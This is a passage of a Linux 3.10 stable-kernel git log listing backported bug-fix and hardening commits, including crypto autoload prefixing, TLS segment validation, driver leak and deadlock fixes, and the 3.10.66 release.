includes the "crypto-" prefix at every level, correctly rejecting "vfat": net-pf-38 algif-hash crypto-vfat(blowfish) crypto-vfat(blowfish)-all crypto-vfat Reported-by: Mathias Krause Signed-off-by: Kees Cook Acked-by: Mathias Krause Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 28de2aca3a3c7c3c387c2749e8544ff5f9df8b73 Author: Kees Cook Date: Thu Nov 20 17:05:53 2014 -0800 crypto: prefix module autoloading with "crypto-" commit 5d26a105b5a73e5635eae0629b42fa0a90e07b7b upstream. This prefixes all crypto module loading with "crypto-" so we never run the risk of exposing module auto-loading to userspace via a crypto API, as demonstrated by Mathias Krause: https://lkml.org/lkml/2013/3/4/70 Signed-off-by: Kees Cook Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b7a24014ea099010263695987fefec09ba7c653f Author: Lars Ellenberg Date: Mon Nov 10 17:21:13 2014 +0100 drbd: merge_bvec_fn: properly remap bvm->bi_bdev commit 3b9d35d744bb5139f9fed57f38c019bb8c7d351c upstream. This was not noticed for many years. Affects operation if md raid is used a backing device for DRBD. CC: stable@kernel.org # v3.2+ Signed-off-by: Philipp Reisner Signed-off-by: Lars Ellenberg Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 16725bb1ef8dcaf9ced20acc9b8315a7b75bca98 Author: David Vrabel Date: Wed Dec 10 14:48:43 2014 +0000 Revert "swiotlb-xen: pass dev_addr to swiotlb_tbl_unmap_single" commit dbdd74763f1faf799fbb9ed30423182e92919378 upstream. This reverts commit 2c3fc8d26dd09b9d7069687eead849ee81c78e46. This commit broke on x86 PV because entries in the generic SWIOTLB are indexed using (pseudo-)physical address not DMA address and these are not the same in a x86 PV guest. Signed-off-by: David Vrabel Reviewed-by: Stefano Stabellini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fcaf4ce3ede737c4d5993447d93e313571785cff Author: Dan Carpenter Date: Sat Dec 6 16:49:24 2014 +0300 ipvs: uninitialized data with IP_VS_IPV6 commit 3b05ac3824ed9648c0d9c02d51d9b54e4e7e874f upstream. The app_tcp_pkt_out() function expects "*diff" to be set and ends up using uninitialized data if CONFIG_IP_VS_IPV6 is turned on. The same issue is there in app_tcp_pkt_in(). Thanks to Julian Anastasov for noticing that. Signed-off-by: Dan Carpenter Acked-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1527e66562d8b68f8d7095c27d9112664c52f506 Author: Andy Shevchenko Date: Wed Jan 7 15:24:19 2015 +0200 sata_dwc_460ex: fix resource leak on error path commit 4aaa71873ddb9faf4b0c4826579e2f6d18ff9ab4 upstream. DMA mapped IO should be unmapped on the error path in probe() and unconditionally on remove(). Fixes: 62936009f35a ([libata] Add 460EX on-chip SATA driver, sata_dwc_460ex) Signed-off-by: Andy Shevchenko Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf0540d933499e971eda551d5ea4afd5efcac11a Author: Andy Lutomirski Date: Mon Nov 24 17:39:06 2014 -0800 x86/asm/traps: Disable tracing and kprobes in fixup_bad_iret and sync_regs commit 7ddc6a2199f1da405a2fb68c40db8899b1a8cd87 upstream. These functions can be executed on the int3 stack, so kprobes are dangerous. Tracing is probably a bad idea, too. Fixes: b645af2d5905 ("x86_64, traps: Rework bad_iret") Signed-off-by: Andy Lutomirski Cc: Linus Torvalds Cc: Steven Rostedt Link: http://lkml.kernel.org/r/50e33d26adca60816f3ba968875801652507d0c4.1416870125.git.luto@amacapital.net Signed-off-by: Ingo Molnar [bwh: Backported to 3.10: - Use __kprobes instead of NOKPROBE_SYMBOL() - Adjust context] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1cf629c18bb3fb7dd0b662afbbdea602b89e6bb9 Author: Andy Lutomirski Date: Thu Jan 22 11:27:59 2015 -0800 x86, tls: Interpret an all-zero struct user_desc as "no segment" commit 3669ef9fa7d35f573ec9c0e0341b29251c2734a7 upstream. The Witcher 2 did something like this to allocate a TLS segment index: struct user_desc u_info; bzero(&u_info, sizeof(u_info)); u_info.entry_number = (uint32_t)-1; syscall(SYS_set_thread_area, &u_info); Strictly speaking, this code was never correct. It should have set read_exec_only and seg_not_present to 1 to indicate that it wanted to find a free slot without putting anything there, or it should have put something sensible in the TLS slot if it wanted to allocate a TLS entry for real. The actual effect of this code was to allocate a bogus segment that could be used to exploit espfix. The set_thread_area hardening patches changed the behavior, causing set_thread_area to return -EINVAL and crashing the game. This changes set_thread_area to interpret this as a request to find a free slot and to leave it empty, which isn't *quite* what the game expects but should be close enough to keep it working. In particular, using the code above to allocate two segments will allocate the same segment both times. According to FrostbittenKing on Github, this fixes The Witcher 2. If this somehow still causes problems, we could instead allocate a limit==0 32-bit data segment, but that seems rather ugly to me. Fixes: 41bdc78544b8 x86/tls: Validate TLS entries to protect espfix Signed-off-by: Andy Lutomirski Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/0cb251abe1ff0958b8e468a9a9a905b80ae3a746.1421954363.git.luto@amacapital.net Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b163ad3e6a6d8f2f311f1df365a5ad83292edb26 Author: Andy Lutomirski Date: Thu Jan 22 11:27:58 2015 -0800 x86, tls, ldt: Stop checking lm in LDT_empty commit e30ab185c490e9a9381385529e0fd32f0a399495 upstream. 32-bit programs don't have an lm bit in their ABI, so they can't reliably cause LDT_empty to return true without resorting to memset. They shouldn't need to do this. This should fix a longstanding, if minor, issue in all 64-bit kernels as well as a potential regression in the TLS hardening code. Fixes: 41bdc78544b8 x86/tls: Validate TLS entries to protect espfix Signed-off-by: Andy Lutomirski Cc: torvalds@linux-foundation.org Link: http://lkml.kernel.org/r/72a059de55e86ad5e2935c80aa91880ddf19d07c.1421954363.git.luto@amacapital.net Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 44f7f8fc2320c31a2d5c91350f640109a44c9aaa Author: Alexandre Demers Date: Tue Dec 9 01:27:50 2014 -0500 x86/tsc: Change Fast TSC calibration failed from error to info commit 520452172e6b318f3a8bd9d4fe1e25066393de25 upstream. Many users see this message when booting without knowning that it is of no importance and that TSC calibration may have succeeded by another way. As explained by Paul Bolle in http://lkml.kernel.org/r/1348488259.1436.22.camel@x61.thuisdomein "Fast TSC calibration failed" should not be considered as an error since other calibration methods are being tried afterward. At most, those send a warning if they fail (not an error). So let's change the message from error to warning. [ tglx: Make if pr_info. It's really not important at all ] Fixes: c767a54ba065 x86/debug: Add KERN_ to bare printks, convert printks to pr_ Signed-off-by: Alexandre Demers Link: http://lkml.kernel.org/r/1418106470-6906-1-git-send-email-alexandre.f.demers@gmail.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2a50428d4cd1e4d826d31619440913e3ad76a73d Author: K. Y. Srinivasan Date: Mon Jan 12 16:26:02 2015 -0800 x86, hyperv: Mark the Hyper-V clocksource as being continuous commit 32c6590d126836a062b3140ed52d898507987017 upstream. The Hyper-V clocksource is continuous; mark it accordingly. Signed-off-by: K. Y. Srinivasan Acked-by: jasowang@redhat.com Cc: gregkh@linuxfoundation.org Cc: devel@linuxdriverproject.org Cc: olaf@aepfle.de Cc: apw@canonical.com Link: http://lkml.kernel.org/r/1421108762-3331-1-git-send-email-kys@microsoft.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae61803d9743800519b67c0b5bff4139dfea39fd Author: Tobias Jakobi Date: Wed Oct 22 03:37:08 2014 +0200 clocksource: exynos_mct: Fix bitmask regression for exynos4_mct_write commit 8c38d28ba8da98f7102c31d35359b4dbe9d1f329 upstream. EXYNOS4_MCT_L_MASK is defined as 0xffffff00, so applying this bitmask produces a number outside the range 0x00 to 0xff, which always results in execution of the default switch statement. Obviously this is wrong and git history shows that the bitmask inversion was incorrectly set during a refactoring of the MCT code. Fix this by putting the inversion at the correct position again. Acked-by: Kukjin Kim Reported-by: GP Orcullo Reviewed-by: Doug Anderson Signed-off-by: Tobias Jakobi Signed-off-by: Daniel Lezcano Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c6823e1d3281d4fdddb4af14921999d85c422078 Author: Oliver Hartkopp Date: Mon Jan 5 18:40:15 2015 +0100 can: dev: fix crtlmode_supported check commit 9b1087aa5e86448fe6ad40a58964e35f3ba423d5 upstream. When changing flags in the CAN drivers ctrlmode the provided new content has to be checked whether the bits are allowed to be changed. The bits that are to be changed are given as a bitfield in cm->mask. Therefore checking against cm->flags is wrong as the content can hold any kind of values. The iproute2 tool sets the bits in cm->mask and cm->flags depending on the detected command line options. To be robust against bogus user space applications additionally sanitize the provided flags with the provided mask. Cc: Wolfgang Grandegger Signed-off-by: Oliver Hartkopp Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cfcff0e5820ad058efc62b55c6e4c10ac9dde53 Author: Andrew Lunn Date: Sun Jan 18 09:46:10 2015 -0600 bus: mvebu-mbus: fix support of MBus window 13 commit 38bdf45f4aa5cb6186d50a29e6cbbd9d486a1519 upstream. On Armada XP, 375 and 38x the MBus window 13 has the remap capability, like windows 0 to 7. However, the mvebu-mbus driver isn't currently taking into account this special case, which means that when window 13 is actually used, the remap registers are left to 0, making the device using this MBus window unavailable. As a minimal fix for stable, don't use window 13. A full fix will follow later. Fixes: fddddb52a6c ("bus: introduce an Marvell EBU MBus driver") Reviewed-by: Thomas Petazzoni Signed-off-by: Andrew Lunn Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f78258c7ee82c193789527d8fe99b5367c8fdbec Author: Fabio Estevam Date: Wed Jan 14 11:11:03 2015 -0200 ARM: dts: imx25: Fix PWM "per" clocks commit 7ecd0bde5bfea524a843ad8fa8cb66ccbce68779 upstream. Currently PWM functionality is broken on mx25 due to the wrong assignment of the PWM "per" clock. According to Documentation/devicetree/bindings/clock/imx25-clock.txt: pwm_ipg_per 52 ,so update the pwm "per" to use 'pwm_ipg_per' instead of 'per10' clock. With this change PWM can work fine on mx25. Reported-by: Carlos Soto Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 36ff7f15c7baba1a73b06deddba8d2b8a9bcf31a Author: Sasha Levin Date: Wed Dec 3 19:25:05 2014 -0500 time: adjtimex: Validate the ADJ_FREQUENCY values commit 5e5aeb4367b450a28f447f6d5ab57d8f2ab16a5f upstream. Verify that the frequency value from userspace is valid and makes sense. Unverified values can cause overflows later on. Cc: Thomas Gleixner Cc: Ingo Molnar Signed-off-by: Sasha Levin [jstultz: Fix up bug for negative values and drop redunent cap check] Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6810e6f0c719e68380756cee4b3145ff29a4eac4 Author: Sasha Levin Date: Wed Dec 3 19:22:48 2014 -0500 time: settimeofday: Validate the values of tv from user commit 6ada1fc0e1c4775de0e043e1bd3ae9d065491aa5 upstream. An unvalidated user input is multiplied by a constant, which can result in an undefined behaviour for large values. While this is validated later, we should avoid triggering undefined behaviour. Cc: Thomas Gleixner Cc: Ingo Molnar Signed-off-by: Sasha Levin [jstultz: include trivial milisecond->microsecond correction noticed by Andy] Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e5c0d2db170a4d828d8565f5f9591202ef07b1d Author: Joe Thornber Date: Fri Jan 23 10:00:07 2015 +0000 dm cache: share cache-metadata object across inactive and active DM tables commit 9b1cc9f251affdd27f29fe46d0989ba76c33faf6 upstream. If a DM table is reloaded with an inactive table when the device is not suspended (normal procedure for LVM2), then there will be two dm-bufio objects that can diverge. This can lead to a situation where the inactive table uses bufio to read metadata at the same time the active table writes metadata -- resulting in the inactive table having stale metadata buffers once it is promoted to the active table slot. Fix this by using reference counting and a global list of cache metadata objects to ensure there is only one metadata object per metadata device. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 158c7f3f7ad2713b2bfd58aad122b4997c23d51c Author: Brian King Date: Thu Oct 30 17:27:10 2014 -0500 ipr: wait for aborted command responses commit 6cdb08172bc89f0a39e1643c5e7eab362692fd1b upstream. Fixes a race condition in abort handling that was injected when multiple interrupt support was added. When only a single interrupt is present, the adapter guarantees it will send responses for aborted commands prior to the response for the abort command itself. With multiple interrupts, these responses generally come back on different interrupts, so we need to ensure the abort thread waits until the aborted command is complete so we don't perform a double completion. This race condition was being hit frequently in environments which were triggering command timeouts, which was resulting in a double completion causing a kernel oops. Signed-off-by: Brian King Reviewed-by: Wendy Xiong Tested-by: Wendy Xiong Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1e87694081c4f40e29ed6e46052d017f78f8587 Author: Chris Wilson Date: Fri Jan 2 09:47:10 2015 +0000 drm/i915: Fix mutex->owner inspection race under DEBUG_MUTEXES commit 226e5ae9e5f9108beb0bde4ac69f68fe6210fed9 upstream. If CONFIG_DEBUG_MUTEXES is set, the mutex->owner field is only cleared if the mutex debugging is enabled which introduces a race in our mutex_is_locked_by() - i.e. we may inspect the old owner value before it is acquired by the new task. This is the root cause of this error: # diff --git a/kernel/locking/mutex-debug.c b/kernel/locking/mutex-debug.c # index 5cf6731..3ef3736 100644 # --- a/kernel/locking/mutex-debug.c # +++ b/kernel/locking/mutex-debug.c # @@ -80,13 +80,13 @@ void debug_mutex_unlock(struct mutex *lock) # DEBUG_LOCKS_WARN_ON(lock->owner != current); # # DEBUG_LOCKS_WARN_ON(!lock->wait_list.prev && !lock->wait_list.next); # - mutex_clear_owner(lock); # } # # /* # * __mutex_slowpath_needs_to_unlock() is explicitly 0 for debug # * mutexes so that we can do it here after we've verified state. # */ # + mutex_clear_owner(lock); # atomic_set(&lock->count, 1); # } Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=87955 Signed-off-by: Chris Wilson Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8cf101267e15b531c1358ad4592f2bca2897471f Author: Michael Karcher Date: Sun Jan 18 00:36:15 2015 +0100 scripts/recordmcount.pl: There is no -m32 gcc option on Super-H anymore commit 1caf6aaaa47471831d77c75f094d4e00ad1ec808 upstream. Compiling SH with gcc-4.8 fails due to the -m32 option not being supported. From http://buildd.debian-ports.org/status/fetch.php?pkg=linux&arch=sh4&ver=3.16.7-ckt4-1&stamp=1421425783 CC init/main.o gcc-4.8: error: unrecognized command line option '-m32' ld: cannot find init/.tmp_mc_main.o: No such file or directory objcopy: 'init/.tmp_mx_main.o': No such file rm: cannot remove 'init/.tmp_mx_main.o': No such file or directory rm: cannot remove 'init/.tmp_mc_main.o': No such file or directory Link: http://lkml.kernel.org/r/1421537778-29001-1-git-send-email-kernel@mkarcher.dialup.fu-berlin.de Link: http://lkml.kernel.org/r/54BCBDD4.10102@physik.fu-berlin.de Cc: Matt Fleming Reported-by: John Paul Adrian Glaubitz Signed-off-by: Michael Karcher Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75582ec57d4942b162ac4288e7d95de315c76855 Author: Jason Lee Cragg Date: Sat Jan 17 12:28:29 2015 -0500 ALSA: usb-audio: Add mic volume fix quirk for Logitech Webcam C210 commit 6455931186bff407493135e74c5f32efd30860e2 upstream. Signed-off-by: Jason Lee Cragg Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12a78dc8e661f8df612ed2453c876676d6387a94 Author: David Jeffery Date: Mon Jan 19 13:03:25 2015 -0600 libata: prevent HSM state change race between ISR and PIO commit ce7514526742c0898b837d4395f515b79dfb5a12 upstream. It is possible for ata_sff_flush_pio_task() to set ap->hsm_task_state to HSM_ST_IDLE in between the time __ata_sff_port_intr() checks for HSM_ST_IDLE and before it calls ata_sff_hsm_move() causing ata_sff_hsm_move() to BUG(). This problem is hard to reproduce making this patch hard to verify, but this fix will prevent the race. I have not been able to reproduce the problem, but here is a crash dump from a 2.6.32 kernel. On examining the ata port's state, its hsm_task_state field has a value of HSM_ST_IDLE: crash> struct ata_port.hsm_task_state ffff881c1121c000 hsm_task_state = 0 Normally, this should not be possible as ata_sff_hsm_move() was called from ata_sff_host_intr(), which checks hsm_task_state and won't call ata_sff_hsm_move() if it has a HSM_ST_IDLE value. PID: 11053 TASK: ffff8816e846cae0 CPU: 0 COMMAND: "sshd" #0 [ffff88008ba03960] machine_kexec at ffffffff81038f3b #1 [ffff88008ba039c0] crash_kexec at ffffffff810c5d92 #2 [ffff88008ba03a90] oops_end at ffffffff8152b510 #3 [ffff88008ba03ac0] die at ffffffff81010e0b #4 [ffff88008ba03af0] do_trap at ffffffff8152ad74 #5 [ffff88008ba03b50] do_invalid_op at ffffffff8100cf95 #6 [ffff88008ba03bf0] invalid_op at ffffffff8100bf9b [exception RIP: ata_sff_hsm_move+317] RIP: ffffffff813a77ad RSP: ffff88008ba03ca0 RFLAGS: 00010097 RAX: 0000000000000000 RBX: ffff881c1121dc60 RCX: 0000000000000000 RDX: ffff881c1121dd10 RSI: ffff881c1121dc60 RDI: ffff881c1121c000 RBP: ffff88008ba03d00 R8: 0000000000000000 R9: 000000000000002e R10: 000000000001003f R11: 000000000000009b R12: ffff881c1121c000 R13: 0000000000000000 R14: 0000000000000050 R15: ffff881c1121dd78 ORIG_RAX: ffffffffffffffff CS: 0010 SS: 0018 #7 [ffff88008ba03d08] ata_sff_host_intr at ffffffff813a7fbd #8 [ffff88008ba03d38] ata_sff_interrupt at ffffffff813a821e #9 [ffff88008ba03d78] handle_IRQ_event at ffffffff810e6ec0 Signed-off-by: Pranav Vashi commit 97e63ad2e7110bef38ef718795477a399293c195 Author: Jim Lin Date: Thu Jan 8 20:25:05 2015 +0800 pinctrl: Fix two deadlocks commit db93facfb0ef542aa5d8079e47580b3e669a4d82 upstream. This patch is to fix two deadlock cases. Deadlock 1: CPU #1 pinctrl_register-> pinctrl_get -> create_pinctrl (Holding lock pinctrl_maps_mutex) -> get_pinctrl_dev_from_devname (Trying to acquire lock pinctrldev_list_mutex) CPU #0 pinctrl_unregister (Holding lock pinctrldev_list_mutex) -> pinctrl_put ->> pinctrl_free -> pinctrl_dt_free_maps -> pinctrl_unregister_map (Trying to acquire lock pinctrl_maps_mutex) Simply to say CPU#1 is holding lock A and trying to acquire lock B, CPU#0 is holding lock B and trying to acquire lock A. Deadlock 2: CPU #3 pinctrl_register-> pinctrl_get -> create_pinctrl (Holding lock pinctrl_maps_mutex) -> get_pinctrl_dev_from_devname (Trying to acquire lock pinctrldev_list_mutex) CPU #2 pinctrl_unregister (Holding lock pctldev->mutex) -> pinctrl_put ->> pinctrl_free -> pinctrl_dt_free_maps -> pinctrl_unregister_map (Trying to acquire lock pinctrl_maps_mutex) CPU #0 tegra_gpio_request (Holding lock pinctrldev_list_mutex) -> pinctrl_get_device_gpio_range (Trying to acquire lock pctldev->mutex) Simply to say CPU#3 is holding lock A and trying to acquire lock D, CPU#2 is holding lock B and trying to acquire lock A, CPU#0 is holding lock D and trying to acquire lock B. Signed-off-by: Jim Lin Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7e903c538127a94b84af2729146ae0efeec491f9 Author: Johan Hovold Date: Tue Jan 13 13:00:05 2015 +0100 gpio: sysfs: fix gpio device-attribute leak commit 0915e6feb38de8d3601819992a5bd050201a56fa upstream. The gpio device attributes were never destroyed when the gpio was unexported (or on export failures). Use device_create_with_groups() to create the default device attributes of the gpio class device. Note that this also fixes the attribute-creation race with userspace for these attributes. Remove contingent attributes in export error path and on unexport. Fixes: d8f388d8dc8d ("gpio: sysfs interface") Cc: stable # v2.6.27+ Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8da694809fa56d073a3b0fba2d9e3c5d1d5b7919 Author: Johan Hovold Date: Tue Jan 13 13:00:04 2015 +0100 gpio: sysfs: fix gpio-chip device-attribute leak commit 121b6a79955a3a3fd7bbb9b8cb88d5b9dad6283d upstream. The gpio-chip device attributes were never destroyed when the device was removed. Fix by using device_create_with_groups() to create the device attributes of the chip class device. Note that this also fixes the attribute-creation race with userspace. Fixes: d8f388d8dc8d ("gpio: sysfs interface") Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7b20c562842ab6938c02697d955ff3a6943d1e72 Author: Greg Kroah-Hartman Date: Tue Jan 27 07:52:51 2015 -0800 Linux 3.10.66 Signed-off-by: Pranav Vashi commit d84ba2d9dded39e5d4bca3f9dc2450ab8b1147cd Author: Martin Schwidefsky Date: Wed Aug 13 12:01:30 2014 +0200 s390/3215: fix tty output containing tabs commit e512d56c799517f33b301d81e9a5e0ebf30c2d1e upstream. git commit 37f81fa1f63ad38e16125526bb2769ae0ea8d332 "n_tty: do O_ONLCR translation as a single write" surfaced a bug in the 3215 device driver. In combination this broke tab expansion for tty ouput. The cause is an asymmetry in the behaviour of tty3215_ops->write vs tty3215_ops->put_char. The put_char function scans for '\t' but the write function does not. As the driver has logic for the '\t' expansion remove XTABS from c_oflag of the initial termios as well. Reported-by: Stephen Powell Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 64f0e5b6a3aa8ff8fdce8c40cb30a40b0bcbc375 Author: Martin Schwidefsky Date: Tue Jul 15 17:53:12 2014 +0200 s390/3215: fix hanging console issue commit 26d766c60f4ea08cd14f0f3435a6db3d6cc2ae96 upstream. The ccw_device_start in raw3215_start_io can fail. raw3215_try_io does not check if the request could be started and removes any pending timer. This can leave the system in a hanging state. Check for pending request after raw3215_start_io and start a timer if necessary. Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f5b85cd8343be260becfe5f6bf96c3e04dd1772 Author: Jerry Hoemann Date: Wed Oct 29 14:50:22 2014 -0700 fsnotify: next_i is freed during fsnotify_unmount_inodes. commit 6424babfd68dd8a83d9c60a5242d27038856599f upstream. During file system stress testing on 3.10 and 3.12 based kernels, the umount command occasionally hung in fsnotify_unmount_inodes in the section of code: spin_lock(&inode->i_lock); if (inode->i_state & (I_FREEING|I_WILL_FREE|I_NEW)) { spin_unlock(&inode->i_lock); continue; } As this section of code holds the global inode_sb_list_lock, eventually the system hangs trying to acquire the lock. Multiple crash dumps showed: The inode->i_state == 0x60 and i_count == 0 and i_sb_list would point back at itself. As this is not the value of list upon entry to the function, the kernel never exits the loop. To help narrow down problem, the call to list_del_init in inode_sb_list_del was changed to list_del. This poisons the pointers in the i_sb_list and causes a kernel to panic if it transverse a freed inode. Subsequent stress testing paniced in fsnotify_unmount_inodes at the bottom of the list_for_each_entry_safe loop showing next_i had become free. We believe the root cause of the problem is that next_i is being freed during the window of time that the list_for_each_entry_safe loop temporarily releases inode_sb_list_lock to call fsnotify and fsnotify_inode_delete. The code in fsnotify_unmount_inodes attempts to prevent the freeing of inode and next_i by calling __iget. However, the code doesn't do the __iget call on next_i if i_count == 0 or if i_state & (I_FREEING | I_WILL_FREE) The patch addresses this issue by advancing next_i in the above two cases until we either find a next_i which we can __iget or we reach the end of the list. This makes the handling of next_i more closely match the handling of the variable "inode." The time to reproduce the hang is highly variable (from hours to days.) We ran the stress test on a 3.10 kernel with the proposed patch for a week without failure. During list_for_each_entry_safe, next_i is becoming free causing the loop to never terminate. Advance next_i in those cases where __iget is not done. Signed-off-by: Jerry Hoemann Cc: Jeff Kirsher Cc: Ken Helias Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6381eb53a7c922d71dde2051a0378a036a8541e Author: Dan Carpenter Date: Mon Nov 10 17:11:21 2014 +0100 netfilter: ipset: small potential read beyond the end of buffer commit 2196937e12b1b4ba139806d132647e1651d655df upstream. We could be reading 8 bytes into a 4 byte buffer here. It seems harmless but adding a check is the right thing to do and it silences a static checker warning. Signed-off-by: Dan Carpenter Acked-by: Jozsef Kadlecsik Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 021c48c56abb435b72537392d764947c1354638a Author: Trond Myklebust Date: Fri Jan 2 15:05:25 2015 -0500 LOCKD: Fix a race when initialising nlmsvc_timeout commit 06bed7d18c2c07b3e3eeadf4bd357f6e806618cc upstream. This commit fixes a race whereby nlmclnt_init() first starts the lockd daemon, and then calls nlm_bind_host() with the expectation that nlmsvc_timeout has already been initialised. Unfortunately, there is no no synchronisation between lockd() and lockd_up() to guarantee that this is the case. Fix is to move the initialisation of nlmsvc_timeout into lockd_create_svc Fixes: 9a1b6bf818e74 ("LOCKD: Don't call utsname()->nodename...") Cc: Bruce Fields Cc: stable@vger.kernel.org # 3.10.x Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 346266a1b82d2c7ff2a80d801efbdd12db32f849 Author: Daniel Borkmann Date: Sat Jan 3 13:11:10 2015 +0100 x86, um: actually mark system call tables readonly commit b485342bd79af363c77ef1a421c4a0aef2de9812 upstream. Commit a074335a370e ("x86, um: Mark system call tables readonly") was supposed to mark the sys_call_table in UML as RO by adding the const, but it doesn't have the desired effect as it's nevertheless being placed into the data section since __cacheline_aligned enforces sys_call_table being placed into .data..cacheline_aligned instead. We need to use the ____cacheline_aligned version instead to fix this issue. Before: $ nm -v arch/x86/um/sys_call_table_64.o | grep -1 "sys_call_table" U sys_writev 0000000000000000 D sys_call_table 0000000000000000 D syscall_table_size After: $ nm -v arch/x86/um/sys_call_table_64.o | grep -1 "sys_call_table" U sys_writev 0000000000000000 R sys_call_table 0000000000000000 D syscall_table_size Fixes: a074335a370e ("x86, um: Mark system call tables readonly") Cc: H. Peter Anvin Cc: Andrew Morton Signed-off-by: Daniel Borkmann Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7727fe2c3aa5ad082846ded88713a1e1a101c4a Author: Richard Weinberger Date: Wed Dec 10 13:53:51 2014 +0100 um: Skip futex_atomic_cmpxchg_inatomic() test commit f911d731054ab3d82ee72a16b889e17ca3a2332a upstream. futex_atomic_cmpxchg_inatomic() does not work on UML because it triggers a copy_from_user() in kernel context. On UML copy_from_user() can only be used if the kernel was called by a real user space process such that UML can use ptrace() to fetch the value. Reported-by: Miklos Szeredi Suggested-by: Geert Uytterhoeven Signed-off-by: Richard Weinberger Tested-by: Daniel Walter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53287b8061971af52fb74e16d2ee17440b65eac2 Author: Dan Carpenter Date: Fri Dec 12 16:58:05 2014 -0800 decompress_bunzip2: off by one in get_next_block() commit b5c8afe5be51078a979d86ae5ae78c4ac948063d upstream. "origPtr" is used as an offset into the bd->dbuf[] array. That array is allocated in start_bunzip() and has "bd->dbufSize" number of elements so the test here should be >= instead of >. Later we check "origPtr" again before using it as an offset so I don't know if this bug can be triggered in real life. Fixes: bc22c17e12c1 ('bzip2/lzma: library support for gzip, bzip2 and lzma decompression') Signed-off-by: Dan Carpenter Cc: Alain Knaff Cc: Yinghai Lu Cc: "H. Peter Anvin" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 288f508dbe9fda618cdb00922b77a9269b781214 Author: Geert Uytterhoeven Date: Tue Jan 6 14:39:10 2015 +0100 ARM: shmobile: sh73a0 legacy: Set .control_parent for all irqpin instances commit b0ddb319db3d7a1943445f0de0a45c07a7f3457a upstream. The sh73a0 INTC can't mask interrupts properly most likely due to a hardware bug. Set the .control_parent flag to delegate masking to the parent interrupt controller, like was already done for irqpin1. Without this, accessing the three-axis digital accelerometer ADXL345 on kzm9g through /dev/input/event1 causes an interrupt storm, which requires a power-cycle to recover from. This was inspired by a patch for arch/arm/boot/dts/sh73a0.dtsi from Laurent Pinchart . Signed-off-by: Geert Uytterhoeven Fixes: 341eb5465f67437a ("ARM: shmobile: INTC External IRQ pin driver on sh73a0") Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0af7c8080286335a3f5a4bb248cc25dafc325a76 Author: Lennart Sorensen Date: Mon Jan 5 15:45:45 2015 -0800 ARM: omap5/dra7xx: Fix frequency typos commit 572b24e6d85d98cdc552f07e9fb9870d9460d81b upstream. The switch statement of the possible list of SYSCLK1 frequencies is missing a 0 in 4 out of the 7 frequencies. Fixes: fa6d79d27614 ("ARM: OMAP: Add initialisation for the real-time counter") Signed-off-by: Len Sorensen Reviewed-by: Lokesh Vutla Acked-by: Nishanth Menon Signed-off-by: Tony Lindgren Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3d0a01c968004a2adccc4c76dbe40046036e31d3 Author: Gary Bisson Date: Wed Dec 3 15:03:51 2014 -0800 ARM: clk-imx6q: fix video divider for rev T0 1.0 commit 